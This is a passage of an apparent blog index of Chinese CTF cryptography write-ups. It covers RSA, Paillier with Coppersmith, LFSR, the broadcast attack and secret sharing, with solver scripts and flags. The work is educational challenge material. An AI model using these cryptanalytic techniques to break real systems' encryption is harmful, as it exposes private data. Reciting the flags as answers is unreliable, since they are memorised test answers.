0x19a98df2bfd703a31fedff8a02d43bc11f1fb3c15cfa7a55b6a32b3532e1ac477f6accc448f9b7d2b4deaae887450217bb70298afaa0f5e31a77e7c6f8ba1986979f15d299230119e3dd7e42eb9ca4d58d084d18b328fbe08c8909a2afc67866d6550e4e6fa27dc13d05c51cc87259fe73e2a1890cc2825d76c8b2a99f72f6023fc96658ac355487a6c275717ca6c13551094818efae1cec3c8773cc5a72fed518c00a53ba9799d9d5c182795dfcece07c727183fdd86fd2cb4b95e9f231be1858320aa7f8430885eb3d24300552d1a83158636316e55e6ac0a30a608964dbf2c412aed6a15df5fd49e737f7c06c02360d0c292abc33a3735152db2fb5bc5f6dphi = (p-1)*(q-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,N)))#picoCTF{376ebfe7}","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"pollard's p-1","slug":"比赛/RSA/pollard-s-p-1","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/pollard-s-p-1/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"光滑数攻击","slug":"光滑数攻击","permalink":"http://example.com/tags/%E5%85%89%E6%BB%91%E6%95%B0%E6%94%BB%E5%87%BB/"}]},{"title":"Paillier加密方案","slug":"Paillier加密方案","date":"2022-03-11T07:32:27.000Z","updated":"2022-03-17T15:20:56.000Z","comments":true,"path":"2022/03/11/Paillier加密方案/","link":"","permalink":"http://example.com/2022/03/11/Paillier%E5%8A%A0%E5%AF%86%E6%96%B9%E6%A1%88/","excerpt":"​ 懒得码字,直接搬运大佬博客。","text":"​ 懒得码字,直接搬运大佬博客。 ​ 首先是卡迈克尔函数:https://baike.baidu.com/item/%E5%8D%A1%E8%BF%88%E5%85%8B%E5%B0%94%E5%87%BD%E6%95%B0/22786506?fr=aladdin ​ 然后是两个写的比较好的博客:https://www.cnblogs.com/TheFutureIsNow/p/12099608.html ​ https://blog.csdn.net/sinianluoye/article/details/82855059 ​ 重点部分: ​ 通常题目都是这样来选取密钥的:","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"同态加密","slug":"比赛/同态加密","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/"},{"name":"Paillier","slug":"比赛/同态加密/Paillier","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/Paillier/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"同态加密","slug":"同态加密","permalink":"http://example.com/tags/%E5%90%8C%E6%80%81%E5%8A%A0%E5%AF%86/"}]},{"title":"长亭-PWNHUB系列","slug":"长亭-PWNHUB系列","date":"2022-03-10T15:12:43.000Z","updated":"2022-06-12T05:40:18.000Z","comments":true,"path":"2022/03/10/长亭-PWNHUB系列/","link":"","permalink":"http://example.com/2022/03/10/%E9%95%BF%E4%BA%AD-PWNHUB%E7%B3%BB%E5%88%97/","excerpt":"sign_in_rsa​ 给了五个friends的公钥,其中N都一样,e1-e5不同,推导有: 1flag^(e1*e2*e3*e4*e5) mod N = c","text":"sign_in_rsa​ 给了五个friends的公钥,其中N都一样,e1-e5不同,推导有: 1flag^(e1*e2*e3*e4*e5) mod N = c ​ 由于还给了一组N,e,d,所以可以通过ed-1 // N 计算出k,而k+1 通常就是ed-1//phi,那么可以求出phi,最后只需要求出e1-e5的乘积对于phi的逆就可解密。 123456789101112131415161718from Crypto.Util.number import *import gmpy2c = 2621668640772056420471560098924704127784856790481388457844412769822118088860174800889321751481674422274270598394172919656578632970378187564960846030071830293875552723490431731972841568891484366856527528595054839456764493791012121047269761236912586905892771816051261702781783915560998982829509529868080760864895962974173385898354122495270178096361803788632815673814331531474332060419597040425174040815031894440262657639509623993308964349172916870911290368660953787873798343194799625182081014696063160131605363197089825537641567810410348240587342655465209891653946637101421879415183319402455214734741851508514452049810e = 0x10001n = 15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337d = 6510060024132448812692374598562478938781873276826121917136087171433612126001066486549172550775880633671688073309060742661536694848138785012316851139079566219427085669995770343650050947604387625705743119055063449704794632066543990637391557798194976737161835401498317792553501071727695913273255675957670000137254200491232988916899437811704442351184491702933366588255664254218916419493613957433723990485119540500734398920034539046985131363424063852960232153505171116298416691316690158260663800875225380729824947022224315510290836013992740531252154869626076244458736535349817731705617890688617614422279803126347527748253k = (e*d - 1)//nprint(k)phi = (e*d - 1)//(k+1)l = [(15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337, 107273), (15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337, 80021), (15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337, 110281), (15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337, 125399), (15029760235374231085969639414731714595094502023579580515142415364576906256445975070594748351717296265506796113025536826427911733196972964855469386448087417878697745924349624863909303165292167253527223263941652633363973854290523602860560486258509324353520104509387932968280508674316342236523385959602558170958614970693493378178016898028008319433088550790771390116863660130486812753414200478905354927474330477084174838392457570478397763649784441576899752400739324537777431123697771882670997321209911034933464741353255233083149611904906129535499692359926063803373853328404277847957250932127456840832115242266989310408337, 77641)]e_ = 1for i in l: e_ = e_* i[1]print(e_)d_ = gmpy2.invert(e_,phi)print(long_to_bytes(pow(c,d_,n)))#flag{3ncrypt_y0ur_s3cr3t_w1th_y0ur_fr1end5_publ1c_k3y} Luukaka​ 解题分两部分: 1.lucas序列求fake_p,题目给的代码可以求出一个和p的高位相同的fake_p,低64位是随机生成的,那么可以用copper求出真实的p。 123456789101112131415161718192021222324252627282930313233343536#sage脚本,copper求pdef Function(times, a, b): # lucas序列 F = [2, a] for i in range(times): F.append(a * F[-1] - b * F[-2]) return Fa = Integer(0b11011101110111110)b = Integer(0x11011101110)s = (Function(77, a, b)[-1])while 1: if is_prime(s): break else: s = s >> 1tmp = (s << 64) + getrandbits(64)while 1: if is_prime(tmp): s = tmp break else: tmp = tmp + 1p = tmpn = 14228073730190667444265758569232998545834341711432864414441434537856457554226009751489033431705491278975339077931622009743639467631071474363151300487078680100432725518596365988395929461561533250434031486424245896944629925135857622729999223390971276553928997508637911376545709237354833737994060265750787364825469605787468954601744025244062927831728713075259243916071854001703095748019042346899025896785151209455462423075169662092252456008356019267117214041106983803825784779879133738561202953888980952580302263891778856965344625783352907638953070740712616009213478262015624504889618788466893252102409611427088945902084609824939158090273141699828781599p_fake = ppbits = p_fake.nbits()kbits = 64 # p失去的低位pbar = p_fake & (2 ^ pbits - 2 ^ kbits)PR. < x > = PolynomialRing(Zmod(n))f = x + pbarx0 = f.small_roots(X=2 ^ kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3p = x0 + pbarprint(p) 2.已知p,q求Paillier的私钥r,u解密(关于这个算法应该博客有记录)。 123456789101112131415#求解Paillier加密from gmpy2 import *from Crypto.Util.number import *n = 14228073730190667444265758569232998545834341711432864414441434537856457554226009751489033431705491278975339077931622009743639467631071474363151300487078680100432725518596365988395929461561533250434031486424245896944629925135857622729999223390971276553928997508637911376545709237354833737994060265750787364825469605787468954601744025244062927831728713075259243916071854001703095748019042346899025896785151209455462423075169662092252456008356019267117214041106983803825784779879133738561202953888980952580302263891778856965344625783352907638953070740712616009213478262015624504889618788466893252102409611427088945902084609824939158090273141699828781599p = 89993381987137506011679842153708782600347540345541532955617801526876380951385052938276977563645108845230982081550367480695643488174519956646559392653544017312457803311443093956372962621108795325336827097398138660534143621582730017517058772398513495619577181034288859950414446489334860611610502414840411291040940750561767344688920500749873731#print(gcd(n,p))q = n//pc = 110337660867664870668618596423399170421957516047679509225588623376743804308910177330738477934885576296064264107955132608068039716915229141255177656762910257465732348532323965821043865294553028096906547082618551373641823894294345439394320458729379584778338791447390149190354594056272453424922259417177887790371636260596466767307663828504719149380793176963386400546201890745560501746937761750771953027692686082999321908948997715677766808897936775024313229131624361695754073181908392043158729516103179521695533235615975097099246881718801578279171894214275303379728310998576306972004917364359907184627898803582606166064132907209594129554305783857639940803580780162589238990527574402229360311452329673309294811095686032780187382402401244208403608246186488287045631870185466768772070155917361936402870757098225660585142716834782054689740016959635568917565989361153748200711957665416078406041043067068946260735419003117885045170538814091969325447811589483805740159257095544507862038022099086715866062568327078082077714811272019367066364077835278254199402087714107154020099620284929159828186078676335901409411843708088949544768400190126243155520427016805835963333341089705359758522086506203013124445829394093909811080012839871046714948018821673486671778352056836826280481951815377888832291151086485700501159g = 104756338318355948567384664103742452654286797799572772265848233334512623038814223410545840475708213491580933168492941525415723077772925906306730070567912467752229764629077391411738146979960676773739966985033493353135734679863468554065367379641641877776732166787383073606968314307988023048157536642389004806055502363198290047464507135522056378518722299068757453041609390692043233878813029502849305103895304519202811596850440711557164909395610847550061798126016783826231721060875732764619258276319683759960874598610474526487116193287935726659807081799695149604873036088612391197272153090414815760539467909235655538189612951075972603409435247362402276881345593351325034626085319241822974931255362490361433247117438845892276212349225050480473723922773661650238241659376681125743246319687880452040595990284620390242076959726572663250706701440702801135388505126093218792766996298711732747845811266552028107611595554772334895684283839272384369606543632542613172335294487221561323491737934377355876532240725521412046012357801914284413206938819420564131912564088387486730018108094449689965565218873981804619434009206386324135567769774069088701758230799594812616518042137489600048047478571983854027089251082355287707549749663822654965131297650047047655863594589307878048709000265824696160267631742318727023504r = lcm(p-1,q-1)u = invert((pow(g,r,n**2) - 1)//n,n)m = (pow(c,r,n**2) - 1)//n * u %nprint(long_to_bytes(m))#flag{P4ll13r&C0pP3r5m17h_m4y_b3_g00d_Fr13nds~}","categories":[{"name":"PWNHUB","slug":"PWNHUB","permalink":"http://example.com/categories/PWNHUB/"},{"name":"公开赛","slug":"PWNHUB/公开赛","permalink":"http://example.com/categories/PWNHUB/%E5%85%AC%E5%BC%80%E8%B5%9B/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"pwnhub","slug":"pwnhub","permalink":"http://example.com/tags/pwnhub/"}]},{"title":"d3ctf-LFSR","slug":"d3ctf-LFSR","date":"2022-03-10T14:27:17.000Z","updated":"2022-03-10T14:38:54.000Z","comments":true,"path":"2022/03/10/d3ctf-LFSR/","link":"","permalink":"http://example.com/2022/03/10/d3ctf-LFSR/","excerpt":"​ 由于异或的可逆性和相消性,推到可以得到message的前34位就是myResult的1-35位,而剩余30位未知,就可以利用矩阵方程组来解。","text":"​ 由于异或的可逆性和相消性,推到可以得到message的前34位就是myResult的1-35位,而剩余30位未知,就可以利用矩阵方程组来解。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from Crypto.Util.number import *from sage.all import *from functools import reducedef xor(a,b): return a^bdef right_reduce(a,b): return reduce(xor,[ a[i]&b[i] for i in range(len(a))])mask = '1010010000001000000010001001010010100100000010000000100010010100'xor_output = '00100110001000110001101010101001001'and_output = '01111101111010111000010010111001101'message = ''#可以证明,message的前34位就是xor_output的1-34位for i in range(1,35): message += str(int(xor_output[i]))and_output=and_output[:-5]#矩阵方程等号左边系数矩阵r_and=[int(i) for i in and_output]r_xor=[int(i) for i in xor_output[1:35]]A = [int(i) for i in mask[34:]]AA = []for i in range(30): A = [int(i) for i in mask[(34-i):(64-i)]] AA.append(A)print(AA)AA=matrix(GF(2),AA)r = []for i in range(30): a = [r_xor[j] for j in range(i,34)] b = [int(mask[k]) for k in range(0,34-i)] if i == 0: c = [0] d = [0] else: c = [r_and[l] for l in range(0,i)] d = [int(mask[p]) for p in range(63,63-i,-1)] r.append(right_reduce(a,b) ^ right_reduce(c,d) ^ r_and[i])rr = vector(GF(2),r)print(rr)ans = AA.solve_right(rr)print(ans)ans = list(ans)low_bit = ''for i in ans: low_bit += str(i)message = message + low_bitprint(long_to_bytes(int(message,2)))#LF5Rsuk!","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"LFSR","slug":"比赛/LFSR","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/"},{"name":"矩阵方程求解法","slug":"比赛/LFSR/矩阵方程求解法","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/%E7%9F%A9%E9%98%B5%E6%96%B9%E7%A8%8B%E6%B1%82%E8%A7%A3%E6%B3%95/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"LFSR","slug":"LFSR","permalink":"http://example.com/tags/LFSR/"}]},{"title":"小指数加密","slug":"小指数加密","date":"2022-03-05T02:57:07.000Z","updated":"2022-03-15T02:31:28.000Z","comments":true,"path":"2022/03/05/小指数加密/","link":"","permalink":"http://example.com/2022/03/05/%E5%B0%8F%E6%8C%87%E6%95%B0%E5%8A%A0%E5%AF%86/","excerpt":"​ 在RSA加密的过程中,如果e选的过小,比如3、5等,则m^e可能小于n,即m^e modn = m^e,那么就可以通过直接对密文开e次方求出明文,这就是小指数加密的缺陷。 ​ 通常在ctf题目中,还会遇到小指数加密广播攻击,即同一个消息用同一个小指数e和不同的n进行加密,那么就可以利用n,c的关系建立同余方程组,然后用中国剩余定理解出明文的e次方,最后仅需要开方就可获得明文。","text":"​ 在RSA加密的过程中,如果e选的过小,比如3、5等,则m^e可能小于n,即m^e modn = m^e,那么就可以通过直接对密文开e次方求出明文,这就是小指数加密的缺陷。 ​ 通常在ctf题目中,还会遇到小指数加密广播攻击,即同一个消息用同一个小指数e和不同的n进行加密,那么就可以利用n,c的关系建立同余方程组,然后用中国剩余定理解出明文的e次方,最后仅需要开方就可获得明文。 ​ 举个例子: 12345678N = 331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004 c = 310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243N = 302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114 c = 112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344N = 332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323 c = 10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242 ​ 这就是典型的广播攻击,脚本: 1234567891011121314151617181920212223242526272829303132from sympy.ntheory.modular import *from Crypto.Util.number import *import gmpy2#这里给的数据是5进制,需要仔细观察每一位不大于4n1 = int(str( 331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004), 5)c1 = int(str( 310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243), 5)n2 = int(str( 302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114), 5)c2 = int(str( 112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344), 5)n3 = int(str( 332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323), 5)c3 = int(str( 10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242), 5)n = [n1, n2, n3]c = [c1, c2, c3]ans = crt(n,c)[0]ans = gmpy2.iroot(ans, 3)[0]print(long_to_bytes(ans))# noxCTF{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!} ​ 关于中国剩余定理,除了直接调用库也可以自己实现,参考https://www.cnblogs.com/lingxuer/p/15018137.html","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"小指数加密","slug":"比赛/RSA/小指数加密","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E5%B0%8F%E6%8C%87%E6%95%B0%E5%8A%A0%E5%AF%86/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"小指数加密","slug":"小指数加密","permalink":"http://example.com/tags/%E5%B0%8F%E6%8C%87%E6%95%B0%E5%8A%A0%E5%AF%86/"},{"name":"中国剩余定理","slug":"中国剩余定理","permalink":"http://example.com/tags/%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86/"}]},{"title":"秘密分割","slug":"秘密分割","date":"2022-03-05T02:17:10.000Z","updated":"2022-03-05T02:52:02.000Z","comments":true,"path":"2022/03/05/秘密分割/","link":"","permalink":"http://example.com/2022/03/05/%E7%A7%98%E5%AF%86%E5%88%86%E5%89%B2/","excerpt":"​ 秘密分割的思想是将秘密以适当的方式拆分,拆分后的每一个份额由不同的参与者管理,单个参与者无法恢复秘密信息,只有若干个参与者一同协作才能恢复秘密消息。更重要的是,当其中任何相应范围内参与者出问题时,秘密仍可以完整恢复。 ​ 秘密分割是一种将秘密分割存储的密码技术,目的是阻止秘密过于集中,以达到分散风险和容忍入侵的目的,是信息安全和数据保密中的重要手段。","text":"​ 秘密分割的思想是将秘密以适当的方式拆分,拆分后的每一个份额由不同的参与者管理,单个参与者无法恢复秘密信息,只有若干个参与者一同协作才能恢复秘密消息。更重要的是,当其中任何相应范围内参与者出问题时,秘密仍可以完整恢复。 ​ 秘密分割是一种将秘密分割存储的密码技术,目的是阻止秘密过于集中,以达到分散风险和容忍入侵的目的,是信息安全和数据保密中的重要手段。 ​ 这里先学习两种秘密分割方案,第一种是Shamir方案,其数学原理是利用抛物线上的点值和拉格朗日插值定律恢复曲线,当有足够多的点的时候,秘密就可以被恢复;Asmuth-Bloom方案则是基于中国剩余定理的门限方案。具体原理见:https://webencrypt.org/secretsharing/ 可参考论文:可验证的Asmuth-Bloom门限秘密共享方案 ​ 举一个例子来说明秘密分割的有效性: [AFCTF2018]花开藏宝地​ 题目给了五个压缩包,并提示打开三个压缩包便可解密,五个压缩包解密方法依次是:爆破数字秘密、爆破小写字母密码、爆破大写字母密码、伪加密、NTFS文件隐写,可参考https://blog.csdn.net/qq_41079177/article/details/102964134 。全部解压以后,发现是五个m1-x1对,再联想到花开(bloom),猜测是密码分割方案,于是只需要按照原理用一次中国剩余定理,再减去AP(或者模p)即可恢复原文。 12345678910111213141516171819202122from Crypto.Util.number import *import gmpy2from sympy.ntheory.modular import crtx1 = 305345133911395218573790903508296238659147802274031796643017539011648802808763162902335644195648525375518941848430114497150082025133000033835083076541927530829557051524161069423494451667848236452337271862085346869364976989047180532167560796470067549915390773271207901537847213882479997325575278672917648417868759077150999044891099206133296336190476413164240995177077671480352739572539631359m1 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820813413x2 = 152012681270682340051690627924586232702552460810030322267827401771304907469802591861912921281833890613186317787813611372838066924894691892444503039545946728621696590087591246339208248647926966446848123290344911662916758039134817404720512465817867255277476717353439505243247568126193361558042940352204093381260402400739429050280526212446967632582771424597203000629197487733610187359662268583m2 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820818553x3 = 40952412095267791829743119118333311932687870987919948671780408726886151430242690997238831410249436653299224291445012397813221016909468630372862610415470277301591535416193017906909638241212666990959976187895288689640250810487806568164431359887246760313154046201720715301307811951233077581047872827004824833876458687145628724339714212107812941785880896399800008924818580623979723496070665230m3 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820819351x4 = 100459779913520540098065407420629954816677926423356769524759072632219106155849450125185205557491138357760494272691949199099803239098119602186117878931534968435982565071570831032814288620974807498206233914826253433847572703407678712965098320122549759579566316372220959610814573945698083909575005303253205653244238542300266460559790606278310650849881421791081944960157781855164700773081375247m4 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820820091x5 = 230502064382947282343660159791611936696520807970361139469603458689311286041516767875903549263861950740778705012699983268093626403307298415066249636346303539570207577050391796770068203937723627361951969413683246596072925692670365490970847825269581004483964261491917680759091791653759514213188778401968676433284753781006738293752440186858616315727565803777032119737689210471541053061940547213m5 = 347051559622463144539669950096658163425646411435797691973701513725701575100810446175849424000000075855070430240507732735393411493866540572679626172742301366146501862670272443070970511943485865887494229487420503750457974262802053722093905126235340380261828593508455621667309946361705530667957484731929151875527489478449361198648310684702574627199321092927111137398333029697068474762820822249x = [x1, x2, x3]m = [m1, m2, m3]p = 80804238007977405688648566160504278593148666302626415149704905628622876270862865768337953835725801963142685182510812938072115996355782396318303927020705623120652014080032809421180400984242061592520733710243483947230962631945045134540159517488288781666622635328316972979183761952842010806304748313326215619695085380586052550443025074501971925005072999275628549710915357400946408857mm = crt(m,x)[0]print(long_to_bytes(mm%p))#b"A treasure map is a map that marks the location of buried treasure, a lost mine, a valuable secret or a hidden locale. So flag is afctf{1sn't_s0_int3Resting}."","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"Secret Sharing","slug":"比赛/Secret-Sharing","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Secret-Sharing/"},{"name":"Shamir&Asmuth-Bloom","slug":"比赛/Secret-Sharing/Shamir-Asmuth-Bloom","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/Secret-Sharing/Shamir-Asmuth-Bloom/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"Secret Sharing","slug":"Secret-Sharing","permalink":"http://example.com/tags/Secret-Sharing/"}]},{"title":"BUU刷题总结(基础)","slug":"BUU刷题总结(一)","date":"2022-02-23T01:53:07.000Z","updated":"2022-04-01T03:01:02.000Z","comments":true,"path":"2022/02/23/BUU刷题总结(一)/","link":"","permalink":"http://example.com/2022/02/23/BUU%E5%88%B7%E9%A2%98%E6%80%BB%E7%BB%93%EF%BC%88%E4%B8%80%EF%BC%89/","excerpt":"[WUSTCTF2020]B@se密文:MyLkTaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD==JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs????kxyz012789+/ oh holy shit, something is missing…","text":"[WUSTCTF2020]B@se密文:MyLkTaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD==JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs????kxyz012789+/ oh holy shit, something is missing… base64的变异,缺少了四个未知字符,根据base64的字符集来找出缺少的值,并按照排列组合遍历所有可能性;然后将密文在新的base表中的位置带入常见的base64对应表中获得原始字符,最后解base64获得flag。 1234567891011121314151617181920212223242526272829import stringfrom itertools import permutationsfrom base64 import b64decode# s = "JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs****kxyz012789+/"# for i in string.ascii_letters + string.digits:# if(i not in s):# print (i,end='')#ju34table = 'JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs****kxyz012789+/'#print(table.find('*')) 48print(len(table))raw_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'c = 'MyLkTaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD'list1 = []for i in permutations('ju34', 4):#遍历全排列 j = i[0]+i[1]+i[2]+i[3] list1.append(j)for ii in list1: flag = '' new_table = table.replace("****",ii) for s in c: flag = flag + raw_table[new_table.find(s)] flag = flag + "==" flag = b64decode(flag) if b"ctf" or b"CTF" in flag: print(flag) #wctf2220{base64_1s_v3ry_e@sy_and_fuN} [RoarCTF2019]babyRSA威尔逊定理的考查,做过类似的题。 12345678910111213141516171819202122232425import sympyimport randomdef myGetPrime(): A= getPrime(513) print(A) B=A-random.randint(1e3,1e5) print(B) return 